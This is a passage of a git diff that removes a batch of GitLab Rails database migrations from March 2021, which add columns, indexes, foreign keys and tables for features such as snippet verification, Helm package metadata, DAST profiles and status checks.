-
- def down
- with_lock_retries do
- remove_column :namespace_settings, :resource_access_token_creation_allowed
- end
- end
-end
diff --git a/db/migrate/20210313045617_add_verification_state_and_started_at_to_snippet_repositories.rb b/db/migrate/20210313045617_add_verification_state_and_started_at_to_snippet_repositories.rb
deleted file mode 100644
index e2d6dff23fa..00000000000
--- a/db/migrate/20210313045617_add_verification_state_and_started_at_to_snippet_repositories.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-# frozen_string_literal: true
-
-class AddVerificationStateAndStartedAtToSnippetRepositories < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- def change
- change_table(:snippet_repositories) do |t|
- t.integer :verification_state, default: 0, limit: 2, null: false
- t.column :verification_started_at, :datetime_with_timezone
- end
- end
-end
diff --git a/db/migrate/20210313045845_add_verification_indexes_to_snippet_repositories.rb b/db/migrate/20210313045845_add_verification_indexes_to_snippet_repositories.rb
deleted file mode 100644
index ebbc1126aa2..00000000000
--- a/db/migrate/20210313045845_add_verification_indexes_to_snippet_repositories.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-# frozen_string_literal: true
-
-class AddVerificationIndexesToSnippetRepositories < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
- VERIFICATION_STATE_INDEX_NAME = "index_snippet_repositories_verification_state"
- PENDING_VERIFICATION_INDEX_NAME = "index_snippet_repositories_pending_verification"
- FAILED_VERIFICATION_INDEX_NAME = "index_snippet_repositories_failed_verification"
- NEEDS_VERIFICATION_INDEX_NAME = "index_snippet_repositories_needs_verification"
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_index :snippet_repositories, :verification_state, name: VERIFICATION_STATE_INDEX_NAME
- add_concurrent_index :snippet_repositories, :verified_at, where: "(verification_state = 0)", order: { verified_at: 'ASC NULLS FIRST' }, name: PENDING_VERIFICATION_INDEX_NAME
- add_concurrent_index :snippet_repositories, :verification_retry_at, where: "(verification_state = 3)", order: { verification_retry_at: 'ASC NULLS FIRST' }, name: FAILED_VERIFICATION_INDEX_NAME
- add_concurrent_index :snippet_repositories, :verification_state, where: "(verification_state = 0 OR verification_state = 3)", name: NEEDS_VERIFICATION_INDEX_NAME
- end
-
- def down
- remove_concurrent_index_by_name :snippet_repositories, VERIFICATION_STATE_INDEX_NAME
- remove_concurrent_index_by_name :snippet_repositories, PENDING_VERIFICATION_INDEX_NAME
- remove_concurrent_index_by_name :snippet_repositories, FAILED_VERIFICATION_INDEX_NAME
- remove_concurrent_index_by_name :snippet_repositories, NEEDS_VERIFICATION_INDEX_NAME
- end
-end
diff --git a/db/migrate/20210316094047_add_trial_extension_type_to_gitlab_subscription_histories.rb b/db/migrate/20210316094047_add_trial_extension_type_to_gitlab_subscription_histories.rb
deleted file mode 100644
index 3915689e0af..00000000000
--- a/db/migrate/20210316094047_add_trial_extension_type_to_gitlab_subscription_histories.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-# frozen_string_literal: true
-
-class AddTrialExtensionTypeToGitlabSubscriptionHistories < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- def change
- add_column :gitlab_subscription_histories, :trial_extension_type, :smallint
- end
-end
diff --git a/db/migrate/20210316094323_add_trial_extension_type_to_gitlab_subscriptions.rb b/db/migrate/20210316094323_add_trial_extension_type_to_gitlab_subscriptions.rb
deleted file mode 100644
index fb0ee789277..00000000000
--- a/db/migrate/20210316094323_add_trial_extension_type_to_gitlab_subscriptions.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-# frozen_string_literal: true
-
-class AddTrialExtensionTypeToGitlabSubscriptions < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- with_lock_retries do
- add_column :gitlab_subscriptions, :trial_extension_type, :smallint
- end
- end
-
- def down
- with_lock_retries do
- remove_column :gitlab_subscriptions, :trial_extension_type
- end
- end
-end
diff --git a/db/migrate/20210316152500_add_index_ci_stages_on_pipeline_id_and_id.rb b/db/migrate/20210316152500_add_index_ci_stages_on_pipeline_id_and_id.rb
deleted file mode 100644
index 1128bf586ae..00000000000
--- a/db/migrate/20210316152500_add_index_ci_stages_on_pipeline_id_and_id.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-class AddIndexCiStagesOnPipelineIdAndId < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
- INDEX_NAME = 'index_ci_stages_on_pipeline_id_and_id'
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_index :ci_stages, %i[pipeline_id id], where: 'status IN (0, 1, 2, 8, 9, 10)', name: INDEX_NAME
- end
-
- def down
- remove_concurrent_index_by_name :ci_stages, INDEX_NAME
- end
-end
diff --git a/db/migrate/20210316171009_create_packages_helm_file_metadata.rb b/db/migrate/20210316171009_create_packages_helm_file_metadata.rb
deleted file mode 100644
index 47a9b808e63..00000000000
--- a/db/migrate/20210316171009_create_packages_helm_file_metadata.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-# frozen_string_literal: true
-
-class CreatePackagesHelmFileMetadata < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- def up
- create_table_with_constraints :packages_helm_file_metadata, id: false do |t|
- t.timestamps_with_timezone
- t.references :package_file, primary_key: true, index: false, default: nil, null: false, foreign_key: { to_table: :packages_package_files, on_delete: :cascade }, type: :bigint
- t.text :channel, null: false
- t.jsonb :metadata
-
- t.text_limit :channel, 63
-
- t.index :channel
- end
- end
-
- def down
- with_lock_retries do
- drop_table :packages_helm_file_metadata
- end
- end
-end
diff --git a/db/migrate/20210317035357_create_dast_profiles_pipelines.rb b/db/migrate/20210317035357_create_dast_profiles_pipelines.rb
deleted file mode 100644
index f84e1237643..00000000000
--- a/db/migrate/20210317035357_create_dast_profiles_pipelines.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-# frozen_string_literal: true
-
-class CreateDastProfilesPipelines < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- def up
- table_comment = { owner: 'group::dynamic analysis', description: 'Join table between DAST Profiles and CI Pipelines' }
-
- create_table :dast_profiles_pipelines, primary_key: [:dast_profile_id, :ci_pipeline_id], comment: Gitlab::Json.dump(table_comment) do |t|
- t.bigint :dast_profile_id, null: false
- t.bigint :ci_pipeline_id, null: false
-
- t.index :ci_pipeline_id, unique: true, name: :index_dast_profiles_pipelines_on_ci_pipeline_id
- end
- end
-
- def down
- drop_table :dast_profiles_pipelines
- end
-end
diff --git a/db/migrate/20210317100520_create_elastic_index_settings.rb b/db/migrate/20210317100520_create_elastic_index_settings.rb
deleted file mode 100644
index 61c1cbb3518..00000000000
--- a/db/migrate/20210317100520_create_elastic_index_settings.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-# frozen_string_literal: true
-
-class CreateElasticIndexSettings < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- def up
- create_table_with_constraints :elastic_index_settings do |t|
- t.timestamps_with_timezone null: false
- t.integer :number_of_replicas, null: false, default: 1, limit: 2
- t.integer :number_of_shards, null: false, default: 5, limit: 2
- t.text :alias_name, null: false
-
- t.text_limit :alias_name, 255
- t.index :alias_name, unique: true
- end
- end
-
- def down
- drop_table :elastic_index_settings
- end
-end
diff --git a/db/migrate/20210317104301_create_in_product_marketing_emails.rb b/db/migrate/20210317104301_create_in_product_marketing_emails.rb
deleted file mode 100644
index b8c6b952c97..00000000000
--- a/db/migrate/20210317104301_create_in_product_marketing_emails.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-# frozen_string_literal: true
-
-class CreateInProductMarketingEmails < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- UNIQUE_INDEX_NAME = 'index_in_product_marketing_emails_on_user_track_series'
-
- disable_ddl_transaction!
-
- def up
- with_lock_retries do
- create_table :in_product_marketing_emails do |t|
- t.bigint :user_id, null: false
- t.datetime_with_timezone :cta_clicked_at
- t.integer :track, null: false, limit: 2
- t.integer :series, null: false, limit: 2
-
- t.timestamps_with_timezone
- end
- end
-
- add_index :in_product_marketing_emails, :user_id
- add_index :in_product_marketing_emails, [:user_id, :track, :series], unique: true, name: UNIQUE_INDEX_NAME
- end
-
- def down
- with_lock_retries do
- drop_table :in_product_marketing_emails
- end
- end
-end
diff --git a/db/migrate/20210317105904_add_user_foreign_key_to_in_product_marketing_emails.rb b/db/migrate/20210317105904_add_user_foreign_key_to_in_product_marketing_emails.rb
deleted file mode 100644
index f0b4d97d2cf..00000000000
--- a/db/migrate/20210317105904_add_user_foreign_key_to_in_product_marketing_emails.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class AddUserForeignKeyToInProductMarketingEmails < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_foreign_key :in_product_marketing_emails, :users, column: :user_id, on_delete: :cascade
- end
-
- def down
- with_lock_retries do
- remove_foreign_key :in_product_marketing_emails, column: :user_id
- end
- end
-end
diff --git a/db/migrate/20210317123054_add_throttle_package_registry_columns.rb b/db/migrate/20210317123054_add_throttle_package_registry_columns.rb
deleted file mode 100644
index 0bb731306c0..00000000000
--- a/db/migrate/20210317123054_add_throttle_package_registry_columns.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-# frozen_string_literal: true
-
-class AddThrottlePackageRegistryColumns < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- def change
- add_column :application_settings, :throttle_unauthenticated_packages_api_requests_per_period, :integer, default: 800, null: false
- add_column :application_settings, :throttle_unauthenticated_packages_api_period_in_seconds, :integer, default: 15, null: false
- add_column :application_settings, :throttle_authenticated_packages_api_requests_per_period, :integer, default: 1000, null: false
- add_column :application_settings, :throttle_authenticated_packages_api_period_in_seconds, :integer, default: 15, null: false
- add_column :application_settings, :throttle_unauthenticated_packages_api_enabled, :boolean, default: false, null: false
- add_column :application_settings, :throttle_authenticated_packages_api_enabled, :boolean, default: false, null: false
- end
-end
diff --git a/db/migrate/20210317192943_add_expiry_notification_delivered_to_keys.rb b/db/migrate/20210317192943_add_expiry_notification_delivered_to_keys.rb
deleted file mode 100644
index 15f319b3965..00000000000
--- a/db/migrate/20210317192943_add_expiry_notification_delivered_to_keys.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-# frozen_string_literal: true
-
-class AddExpiryNotificationDeliveredToKeys < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- def change
- add_column :keys, :expiry_notification_delivered_at, :datetime_with_timezone
- end
-end
diff --git a/db/migrate/20210317210338_add_valid_runner_registrars.rb b/db/migrate/20210317210338_add_valid_runner_registrars.rb
deleted file mode 100644
index 61663836d39..00000000000
--- a/db/migrate/20210317210338_add_valid_runner_registrars.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# frozen_string_literal: true
-
-class AddValidRunnerRegistrars < ActiveRecord::Migration[6.0]
- def change
- add_column :application_settings, :valid_runner_registrars, :string, array: true, default: %w(project group)
- end
-end
diff --git a/db/migrate/20210318134427_delete_security_findings_without_uuid.rb b/db/migrate/20210318134427_delete_security_findings_without_uuid.rb
deleted file mode 100644
index f8e0f0fb32b..00000000000
--- a/db/migrate/20210318134427_delete_security_findings_without_uuid.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-# frozen_string_literal: true
-
-class DeleteSecurityFindingsWithoutUuid < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- class SecurityFinding < ActiveRecord::Base
- include EachBatch
-
- self.table_name = 'security_findings'
-
- scope :without_uuid, -> { where(uuid: nil) }
- end
-
- def up
- SecurityFinding.without_uuid.each_batch(of: 10_000) do |relation|
- relation.delete_all
- end
- end
-
- def down
- # no-op
- end
-end
diff --git a/db/migrate/20210319071214_add_helm_max_file_size_to_plan_limits.rb b/db/migrate/20210319071214_add_helm_max_file_size_to_plan_limits.rb
deleted file mode 100644
index 9a4789b5c1a..00000000000
--- a/db/migrate/20210319071214_add_helm_max_file_size_to_plan_limits.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-# frozen_string_literal: true
-
-class AddHelmMaxFileSizeToPlanLimits < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- def change
- add_column :plan_limits, :helm_max_file_size, :bigint, default: 5.megabyte, null: false
- end
-end
diff --git a/db/migrate/20210322063407_add_dast_profile_id_fk_to_dast_profiles_pipelines.rb b/db/migrate/20210322063407_add_dast_profile_id_fk_to_dast_profiles_pipelines.rb
deleted file mode 100644
index 4e9b3ddd41c..00000000000
--- a/db/migrate/20210322063407_add_dast_profile_id_fk_to_dast_profiles_pipelines.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class AddDastProfileIdFkToDastProfilesPipelines < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_foreign_key :dast_profiles_pipelines, :dast_profiles, column: :dast_profile_id, on_delete: :cascade
- end
-
- def down
- with_lock_retries do
- remove_foreign_key :dast_profiles_pipelines, column: :dast_profile_id
- end
- end
-end
diff --git a/db/migrate/20210322063450_add_ci_pipeline_id_fk_to_dast_profiles_pipelines.rb b/db/migrate/20210322063450_add_ci_pipeline_id_fk_to_dast_profiles_pipelines.rb
deleted file mode 100644
index f1dce7f0cd8..00000000000
--- a/db/migrate/20210322063450_add_ci_pipeline_id_fk_to_dast_profiles_pipelines.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class AddCiPipelineIdFkToDastProfilesPipelines < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_foreign_key :dast_profiles_pipelines, :ci_pipelines, column: :ci_pipeline_id, on_delete: :cascade
- end
-
- def down
- with_lock_retries do
- remove_foreign_key :dast_profiles_pipelines, column: :ci_pipeline_id
- end
- end
-end
diff --git a/db/migrate/20210322182751_add_index_to_keys_on_expires_at_and_expiry_notification_undelivered.rb b/db/migrate/20210322182751_add_index_to_keys_on_expires_at_and_expiry_notification_undelivered.rb
deleted file mode 100644
index 6387d8a6a43..00000000000
--- a/db/migrate/20210322182751_add_index_to_keys_on_expires_at_and_expiry_notification_undelivered.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class AddIndexToKeysOnExpiresAtAndExpiryNotificationUndelivered < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
- INDEX_NAME = 'index_keys_on_expires_at_and_expiry_notification_undelivered'
- disable_ddl_transaction!
-
- def up
- add_concurrent_index :keys,
- "date(timezone('UTC', expires_at)), expiry_notification_delivered_at",
- where: 'expiry_notification_delivered_at IS NULL', name: INDEX_NAME
- end
-
- def down
- remove_concurrent_index_by_name(:keys, INDEX_NAME)
- end
-end
diff --git a/db/migrate/20210323064751_add_namespace_traversal_ids_index.rb b/db/migrate/20210323064751_add_namespace_traversal_ids_index.rb
deleted file mode 100644
index 162173f6629..00000000000
--- a/db/migrate/20210323064751_add_namespace_traversal_ids_index.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-class AddNamespaceTraversalIdsIndex < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
- INDEX_NAME = 'index_namespaces_on_traversal_ids'
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_index :namespaces, :traversal_ids, using: :gin, name: INDEX_NAME
- end
-
- def down
- remove_concurrent_index_by_name :namespaces, INDEX_NAME
- end
-end
diff --git a/db/migrate/20210323125809_create_status_check_responses_table.rb b/db/migrate/20210323125809_create_status_check_responses_table.rb
deleted file mode 100644
index 3fa7ff7165c..00000000000
--- a/db/migrate/20210323125809_create_status_check_responses_table.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class CreateStatusCheckResponsesTable < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- def up
- create_table :status_check_responses do |t|
- t.bigint :merge_request_id, null: false
- t.bigint :external_approval_rule_id, null: false
- end
-
- add_index :status_check_responses, :merge_request_id
- add_index :status_check_responses, :external_approval_rule_id
- end
-
- def down
- drop_table :status_check_responses
- end
-end
diff --git a/db/migrate/20210323130831_add_merge_request_foreign_key_to_status_check_responses.rb b/db/migrate/20210323130831_add_merge_request_foreign_key_to_status_check_responses.rb
deleted file mode 100644
index cee0b9a231e..00000000000
--- a/db/migrate/20210323130831_add_merge_request_foreign_key_to_status_check_responses.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class AddMergeRequestForeignKeyToStatusCheckResponses < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_foreign_key :status_check_responses, :merge_requests, column: :merge_request_id, on_delete: :cascade
- end
-
- def down
- with_lock_retries do
- remove_foreign_key :status_check_responses, column: :merge_request_id
- end
- end
-end
diff --git a/db/migrate/20210323131543_add_external_approval_rule_foreign_key_to_status_check_responses.rb b/db/migrate/20210323131543_add_external_approval_rule_foreign_key_to_status_check_responses.rb
deleted file mode 100644
index ab28c20dbb1..00000000000
--- a/db/migrate/20210323131543_add_external_approval_rule_foreign_key_to_status_check_responses.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class AddExternalApprovalRuleForeignKeyToStatusCheckResponses < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_foreign_key :status_check_responses, :external_approval_rules, column: :external_approval_rule_id, on_delete: :cascade
- end
-
- def down
- with_lock_retries do
- remove_foreign_key :status_check_responses, column: :external_approval_rule_id
- end
- end
-end
diff --git a/db/migrate/20210323155010_populate_dismissal_information_for_vulnerabilities.rb b/db/migrate/20210323155010_populate_dismissal_information_for_vulnerabilities.rb
deleted file mode 100644
index aee6d5484d5..00000000000
--- a/db/migrate/20210323155010_populate_dismissal_information_for_vulnerabilities.rb
+++ /dev/null
@@ -1,37 +0,0 @@
-# frozen_string_literal: true
-
-class PopulateDismissalInformationForVulnerabilities < ActiveRecord::Migration[6.0]
- DOWNTIME = false
- BATCH_SIZE = 100
- UPDATE_QUERY = <<~SQL
- UPDATE
- vulnerabilities
- SET
- dismissed_at = COALESCE(dismissed_at, updated_at),
- dismissed_by_id = COALESCE(dismissed_by_id, updated_by_id, last_edited_by_id, author_id)
- WHERE
- vulnerabilities.id IN (%{ids})
- SQL
-
- class Vulnerability < ActiveRecord::Base
- include EachBatch
-
- self.table_name = 'vulnerabilities'
-
- enum state: { detected: 1, confirmed: 4, resolved: 3, dismissed: 2 }
-
- scope :broken, -> { dismissed.where('dismissed_at IS NULL OR dismissed_by_id IS NULL') }
- end
-
- def up
- Vulnerability.broken.each_batch(of: BATCH_SIZE) do |batch|
- query = format(UPDATE_QUERY, ids: batch.select(:id).to_sql)
-
- connection.execute(query)
- end
- end
-
- def down
- # no-op
- end
-end
diff --git a/db/migrate/20210323182846_add_project_status_date_index_to_merge_requests.rb b/db/migrate/20210323182846_add_project_status_date_index_to_merge_requests.rb
deleted file mode 100644
index 1ec6bc0bf2e..00000000000
--- a/db/migrate/20210323182846_add_project_status_date_index_to_merge_requests.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-class AddProjectStatusDateIndexToMergeRequests < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
- INDEX_NAME = "idx_mrs_on_target_id_and_created_at_and_state_id"
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_index :merge_requests, %i[target_project_id state_id created_at id], name: INDEX_NAME
- end
-
- def down
- remove_concurrent_index_by_name :merge_requests, INDEX_NAME
- end
-end
diff --git a/db/migrate/20210324112439_add_index_mirror_data_on_retry_next_execution_where_status.rb b/db/migrate/20210324112439_add_index_mirror_data_on_retry_next_execution_where_status.rb
deleted file mode 100644
index 68ce5363b70..00000000000
--- a/db/migrate/20210324112439_add_index_mirror_data_on_retry_next_execution_where_status.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-# frozen_string_literal: true
-
-# See https://docs.gitlab.com/ee/development/migration_style_guide.html
-# for more information on how to write migrations for GitLab.
-
-class AddIndexMirrorDataOnRetryNextExecutionWhereStatus < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- INDEX_NAME = 'index_mirror_data_non_scheduled_or_started'
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_index :project_mirror_data,
- [:next_execution_timestamp, :retry_count],
- where: "(status)::text <> ALL ('{scheduled,started}'::text[])",
- name: INDEX_NAME
- end
-
- def down
- remove_concurrent_index :project_mirror_data,
- [:next_execution_timestamp, :retry_count],
- where: "(status)::text <> ALL ('{scheduled,started}'::text[])",
- name: INDEX_NAME
- end
-end
diff --git a/db/migrate/20210324131727_migrate_elastic_index_settings.rb b/db/migrate/20210324131727_migrate_elastic_index_settings.rb
deleted file mode 100644
index 4dcfc6cf952..00000000000
--- a/db/migrate/20210324131727_migrate_elastic_index_settings.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-# frozen_string_literal: true
-
-class MigrateElasticIndexSettings < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- ALIAS_NAME = [Rails.application.class.module_parent_name.downcase, Rails.env].join('-')
-
- class ElasticIndexSetting < ActiveRecord::Base
- end
-
- class ApplicationSetting < ActiveRecord::Base
- end
-
- def up
- setting = ApplicationSetting.first
- number_of_replicas = setting&.elasticsearch_replicas || 1
- number_of_shards = setting&.elasticsearch_shards || 5
-
- return if ElasticIndexSetting.exists?(alias_name: ALIAS_NAME)
-
- ElasticIndexSetting.create!(
- alias_name: ALIAS_NAME,
- number_of_replicas: number_of_replicas,
- number_of_shards: number_of_shards
- )
- end
-
- def down
- ElasticIndexSetting.where(alias_name: ALIAS_NAME).delete_all
- end
-end
diff --git a/db/migrate/20210325092215_add_not_valid_foreign_key_to_group_hooks.rb b/db/migrate/20210325092215_add_not_valid_foreign_key_to_group_hooks.rb
deleted file mode 100644
index 2389f90d498..00000000000
--- a/db/migrate/20210325092215_add_not_valid_foreign_key_to_group_hooks.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class AddNotValidForeignKeyToGroupHooks < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- def up
- with_lock_retries do
- add_foreign_key :web_hooks, :namespaces, column: :group_id, on_delete: :cascade, validate: false
- end
- end
-
- def down
- with_lock_retries do
- remove_foreign_key_if_exists :web_hooks, column: :group_id
- end
- end
-end
diff --git a/db/migrate/20210325113129_validate_foreign_key_on_service_hooks.rb b/db/migrate/20210325113129_validate_foreign_key_on_service_hooks.rb
deleted file mode 100644
index 17dd4cad6ae..00000000000
--- a/db/migrate/20210325113129_validate_foreign_key_on_service_hooks.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class ValidateForeignKeyOnServiceHooks < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- CONSTRAINT_NAME = 'fk_d47999a98a'
-
- def up
- validate_foreign_key :web_hooks, :service_id, name: CONSTRAINT_NAME
- end
-
- def down
- # no-op
- end
-end
diff --git a/db/migrate/20210325150837_add_verification_state_to_ci_pipeline_artifact.rb b/db/migrate/20210325150837_add_verification_state_to_ci_pipeline_artifact.rb
deleted file mode 100644
index f6c506e59b7..00000000000
--- a/db/migrate/20210325150837_add_verification_state_to_ci_pipeline_artifact.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-class AddVerificationStateToCiPipelineArtifact < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- def change
- change_table(:ci_pipeline_artifacts, bulk: true) do |t|
- t.column :verification_started_at, :datetime_with_timezone
- t.column :verification_retry_at, :datetime_with_timezone
- t.column :verified_at, :datetime_with_timezone
- t.integer :verification_state, default: 0, limit: 2, null: false
- t.integer :verification_retry_count, limit: 2
- t.binary :verification_checksum, using: 'verification_checksum::bytea'
-
- t.text :verification_failure # rubocop:disable Migration/AddLimitToTextColumns
- end
- end
-end
diff --git a/db/migrate/20210325151758_add_verification_failure_limit_to_ci_pipeline_artifact.rb b/db/migrate/20210325151758_add_verification_failure_limit_to_ci_pipeline_artifact.rb
deleted file mode 100644
index bc4dee2181f..00000000000
--- a/db/migrate/20210325151758_add_verification_failure_limit_to_ci_pipeline_artifact.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class AddVerificationFailureLimitToCiPipelineArtifact < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- CONSTRAINT_NAME = 'ci_pipeline_artifacts_verification_failure_text_limit'
-
- def up
- add_text_limit :ci_pipeline_artifacts, :verification_failure, 255, constraint_name: CONSTRAINT_NAME
- end
-
- def down
- remove_check_constraint(:ci_pipeline_artifacts, CONSTRAINT_NAME)
- end
-end
diff --git a/db/migrate/20210325152011_add_verification_indexes_to_ci_pipeline_artifacts.rb b/db/migrate/20210325152011_add_verification_indexes_to_ci_pipeline_artifacts.rb
deleted file mode 100644
index 0822aee35a4..00000000000
--- a/db/migrate/20210325152011_add_verification_indexes_to_ci_pipeline_artifacts.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-# frozen_string_literal: true
-
-class AddVerificationIndexesToCiPipelineArtifacts < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
- VERIFICATION_STATE_INDEX_NAME = "index_ci_pipeline_artifacts_verification_state"
- PENDING_VERIFICATION_INDEX_NAME = "index_ci_pipeline_artifacts_pending_verification"
- FAILED_VERIFICATION_INDEX_NAME = "index_ci_pipeline_artifacts_failed_verification"
- NEEDS_VERIFICATION_INDEX_NAME = "index_ci_pipeline_artifacts_needs_verification"
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_index :ci_pipeline_artifacts, :verification_state, name: VERIFICATION_STATE_INDEX_NAME
- add_concurrent_index :ci_pipeline_artifacts, :verified_at, where: "(verification_state = 0)", order: { verified_at: 'ASC NULLS FIRST' }, name: PENDING_VERIFICATION_INDEX_NAME
- add_concurrent_index :ci_pipeline_artifacts, :verification_retry_at, where: "(verification_state = 3)", order: { verification_retry_at: 'ASC NULLS FIRST' }, name: FAILED_VERIFICATION_INDEX_NAME
- add_concurrent_index :ci_pipeline_artifacts, :verification_state, where: "(verification_state = 0 OR verification_state = 3)", name: NEEDS_VERIFICATION_INDEX_NAME
- end
-
- def down
- remove_concurrent_index_by_name :ci_pipeline_artifacts, VERIFICATION_STATE_INDEX_NAME
- remove_concurrent_index_by_name :ci_pipeline_artifacts, PENDING_VERIFICATION_INDEX_NAME
- remove_concurrent_index_by_name :ci_pipeline_artifacts, FAILED_VERIFICATION_INDEX_NAME
- remove_concurrent_index_by_name :ci_pipeline_artifacts, NEEDS_VERIFICATION_INDEX_NAME
- end
-end
diff --git a/db/migrate/20210326035553_add_index_for_project_deployments_with_environment_id_and_updated_at.rb b/db/migrate/20210326035553_add_index_for_project_deployments_with_environment_id_and_updated_at.rb
deleted file mode 100644
index d10c9401a31..00000000000
--- a/db/migrate/20210326035553_add_index_for_project_deployments_with_environment_id_and_updated_at.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class AddIndexForProjectDeploymentsWithEnvironmentIdAndUpdatedAt < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- INDEX_NAME = 'index_deployments_on_project_and_environment_and_updated_at'
-
- def up
- add_concurrent_index :deployments, [:project_id, :environment_id, :updated_at], name: INDEX_NAME
- end
-
- def down
- remove_concurrent_index_by_name :deployments, INDEX_NAME
- end
-end
diff --git a/db/migrate/20210326190903_create_vulnerability_finding_evidences.rb b/db/migrate/20210326190903_create_vulnerability_finding_evidences.rb
deleted file mode 100644
index 4de02a6762e..00000000000
--- a/db/migrate/20210326190903_create_vulnerability_finding_evidences.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-# frozen_string_literal: true
-
-class CreateVulnerabilityFindingEvidences < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- create_table_with_constraints :vulnerability_finding_evidences do |t|
- t.timestamps_with_timezone null: false
-
- t.references :vulnerability_occurrence, index: { name: 'finding_evidences_on_vulnerability_occurrence_id' }, null: false, foreign_key: { on_delete: :cascade }
- t.text :summary
-
- t.text_limit :summary, 8_000_000
- end
- end
-
- def down
- with_lock_retries do
- drop_table :vulnerability_finding_evidences
- end
- end
-end
diff --git a/db/migrate/20210329095548_add_target_project_and_source_branch_index_to_merge_request.rb b/db/migrate/20210329095548_add_target_project_and_source_branch_index_to_merge_request.rb
deleted file mode 100644
index d351de6bd77..00000000000
--- a/db/migrate/20210329095548_add_target_project_and_source_branch_index_to_merge_request.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-class AddTargetProjectAndSourceBranchIndexToMergeRequest < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
